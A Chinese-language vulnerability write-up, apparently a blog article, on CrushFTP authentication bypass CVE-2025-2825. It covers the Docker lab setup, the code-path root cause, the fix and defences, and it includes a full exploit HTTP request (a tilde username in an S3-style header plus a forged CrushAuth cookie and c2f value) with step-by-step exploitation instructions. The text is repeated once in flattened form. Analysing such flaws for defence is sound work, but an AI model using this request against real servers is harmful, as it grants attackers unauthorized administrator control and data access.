CrushFTP 身份验证绕过漏洞(CVE-2025-2825)
字数 1724 2025-08-29 22:41:01

CrushFTP 身份验证绕过漏洞(CVE-2025-2825)深度分析与利用教学

漏洞概述

CVE-2025-2825 是CrushFTP软件中存在的一个严重身份验证绕过漏洞,影响版本包括:

  • 10.0.0 到 10.8.3
  • 11.0.0 到 11.3.0

该漏洞源于系统对认证标头的不当处理,允许未经授权的远程攻击者通过HTTP/HTTPS端口获取管理员权限,可能导致:

  • 敏感数据访问
  • 系统文件修改
  • 服务器完全控制

环境搭建

使用Docker搭建漏洞环境是最简便的方法:

# 拉取受影响版本的CrushFTP镜像
docker pull crushftp/vulnerable:10.8.3

# 运行容器
docker run -d -p 8080:8080 -p 21:21 --name crushftp_vuln crushftp/vulnerable:10.8.3

漏洞复现

构造恶意请求

漏洞利用需要构造特定的HTTP请求头和数据:

  1. 认证头构造

    • 使用S3风格的授权头格式
    • 示例格式:
      Authorization: AWS4-HMAC-SHA256 Credential=admin~,SignedHeaders=host;x-amz-date,Signature=...
      
    • 关键点:用户名必须包含波浪号(~)
  2. CSRF防护绕过

    • 需要同时提供有效的CrushAuth cookie和c2f参数
    • CrushAuth格式:13位时间戳 + "_" + 30位随机字符串
    • c2f参数必须匹配cookie末尾4个字符或解码后的用户密码

完整请求示例

POST /WebInterface/function/ HTTP/1.1
Host: target:8080
Authorization: AWS4-HMAC-SHA256 Credential=admin~,SignedHeaders=host;x-amz-date,Signature=...
Cookie: CrushAuth=1234567890123_abcdefghijklmnopqrstuvwxyz123456
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="c2f"

yz12
------WebKitFormBoundary
Content-Disposition: form-data; name="command"

getUserList
------WebKitFormBoundary--

漏洞分析

认证流程分析

  1. 初始认证处理 (ServerSessionHTTP#loginCheckHeaderAuth)

    • 从授权头提取用户标识
    • 从Credential参数的等号后开始,到第一个斜杠停止作为用户名
    • 如果用户名包含波浪号(~),设置lookup_user_pass为false
    • 调用login_user_pass继续处理
  2. 用户登录处理 (SessionCrush#login_user_pass)

    • 参数传递:
      • lookup_user_passanyPass → true
      • doAfterLogin → false
      • user_name → 原始用户名
      • user_pass → 空字符串
    • 关键调用:verify_user(user_name, verify_password, anyPass, doAfterLogin)
  3. 用户验证处理 (SessionCrush#verify_user)

    • 中间处理层:
      • 检查系统是否允许登录
      • 处理特殊格式的用户名
      • 检查密码特殊标记
    • 最终调用UserTools.ut.verify_user
  4. 最终验证逻辑 (UserTools#verify_user)

    • anyPass参数为true时:
      • 仅判断用户是否存在
      • 不验证密码
    • 这是漏洞的根本原因

CSRF防护机制

  1. CrushAuth cookie生成 (ServerSessionHTTP#createCookieSession)

    • 格式:前13个字符为时间戳 + "_" + 30位随机字符串
    • 随机字符串生成:Common.makeBoundary(30)
  2. c2f参数验证 (ServerSessionHTTP#parsePostArguments)

    • 必须满足以下条件之一:
      • 匹配cookie末尾4个字符
      • 匹配解码后的用户密码
    • 否则抛出异常

漏洞利用步骤

  1. 确定目标CrushFTP服务器的HTTP/HTTPS端口
  2. 构造包含波浪号(~)的用户名(如"admin~")
  3. 生成有效的CrushAuth cookie:
    • 13位当前时间戳
    • 连接30位随机字符串
  4. 提取cookie末尾4个字符作为c2f参数
  5. 发送包含恶意授权头的HTTP请求
  6. 通过响应确认是否成功绕过认证

漏洞修复方案

官方修复方案主要修改了登录校验方式:

  1. 移除了基于波浪号的特殊处理
  2. 强制要求密码验证,即使anyPass为true
  3. 加强了CSRF防护机制

建议升级到以下安全版本:

  • 10.8.4及以上
  • 11.3.1及以上

防御措施

  1. 立即升级到安全版本
  2. 如果无法立即升级:
    • 限制访问CrushFTP的HTTP/HTTPS端口
    • 配置网络ACL只允许可信IP访问
    • 监控异常认证尝试
  3. 定期审计系统日志
  4. 实施最小权限原则

总结

CVE-2025-2825是一个严重的设计缺陷漏洞,通过精心构造的认证头可以完全绕过身份验证。理解其原理不仅有助于防御,也为安全研究人员提供了认证机制设计的反面教材。建议所有使用CrushFTP的组织立即采取行动,减轻潜在风险。

CrushFTP 身份验证绕过漏洞(CVE-2025-2825)深度分析与利用教学 漏洞概述 CVE-2025-2825 是CrushFTP软件中存在的一个严重身份验证绕过漏洞,影响版本包括: 10.0.0 到 10.8.3 11.0.0 到 11.3.0 该漏洞源于系统对认证标头的不当处理,允许未经授权的远程攻击者通过HTTP/HTTPS端口获取管理员权限,可能导致: 敏感数据访问 系统文件修改 服务器完全控制 环境搭建 使用Docker搭建漏洞环境是最简便的方法: 漏洞复现 构造恶意请求 漏洞利用需要构造特定的HTTP请求头和数据: 认证头构造 : 使用S3风格的授权头格式 示例格式: 关键点:用户名必须包含波浪号(~) CSRF防护绕过 : 需要同时提供有效的 CrushAuth cookie和 c2f 参数 CrushAuth 格式:13位时间戳 + "_ " + 30位随机字符串 c2f 参数必须匹配cookie末尾4个字符或解码后的用户密码 完整请求示例 漏洞分析 认证流程分析 初始认证处理 ( ServerSessionHTTP#loginCheckHeaderAuth ) 从授权头提取用户标识 从Credential参数的等号后开始,到第一个斜杠停止作为用户名 如果用户名包含波浪号(~),设置 lookup_user_pass 为false 调用 login_user_pass 继续处理 用户登录处理 ( SessionCrush#login_user_pass ) 参数传递: lookup_user_pass → anyPass → true doAfterLogin → false user_name → 原始用户名 user_pass → 空字符串 关键调用: verify_user(user_name, verify_password, anyPass, doAfterLogin) 用户验证处理 ( SessionCrush#verify_user ) 中间处理层: 检查系统是否允许登录 处理特殊格式的用户名 检查密码特殊标记 最终调用 UserTools.ut.verify_user 最终验证逻辑 ( UserTools#verify_user ) 当 anyPass 参数为true时: 仅判断用户是否存在 不验证密码 这是漏洞的根本原因 CSRF防护机制 CrushAuth cookie生成 ( ServerSessionHTTP#createCookieSession ) 格式:前13个字符为时间戳 + "_ " + 30位随机字符串 随机字符串生成: Common.makeBoundary(30) c2f参数验证 ( ServerSessionHTTP#parsePostArguments ) 必须满足以下条件之一: 匹配cookie末尾4个字符 匹配解码后的用户密码 否则抛出异常 漏洞利用步骤 确定目标CrushFTP服务器的HTTP/HTTPS端口 构造包含波浪号(~)的用户名(如"admin~") 生成有效的CrushAuth cookie: 13位当前时间戳 连接30位随机字符串 提取cookie末尾4个字符作为c2f参数 发送包含恶意授权头的HTTP请求 通过响应确认是否成功绕过认证 漏洞修复方案 官方修复方案主要修改了登录校验方式: 移除了基于波浪号的特殊处理 强制要求密码验证,即使anyPass为true 加强了CSRF防护机制 建议升级到以下安全版本: 10.8.4及以上 11.3.1及以上 防御措施 立即升级到安全版本 如果无法立即升级: 限制访问CrushFTP的HTTP/HTTPS端口 配置网络ACL只允许可信IP访问 监控异常认证尝试 定期审计系统日志 实施最小权限原则 总结 CVE-2025-2825是一个严重的设计缺陷漏洞,通过精心构造的认证头可以完全绕过身份验证。理解其原理不仅有助于防御,也为安全研究人员提供了认证机制设计的反面教材。建议所有使用CrushFTP的组织立即采取行动,减轻潜在风险。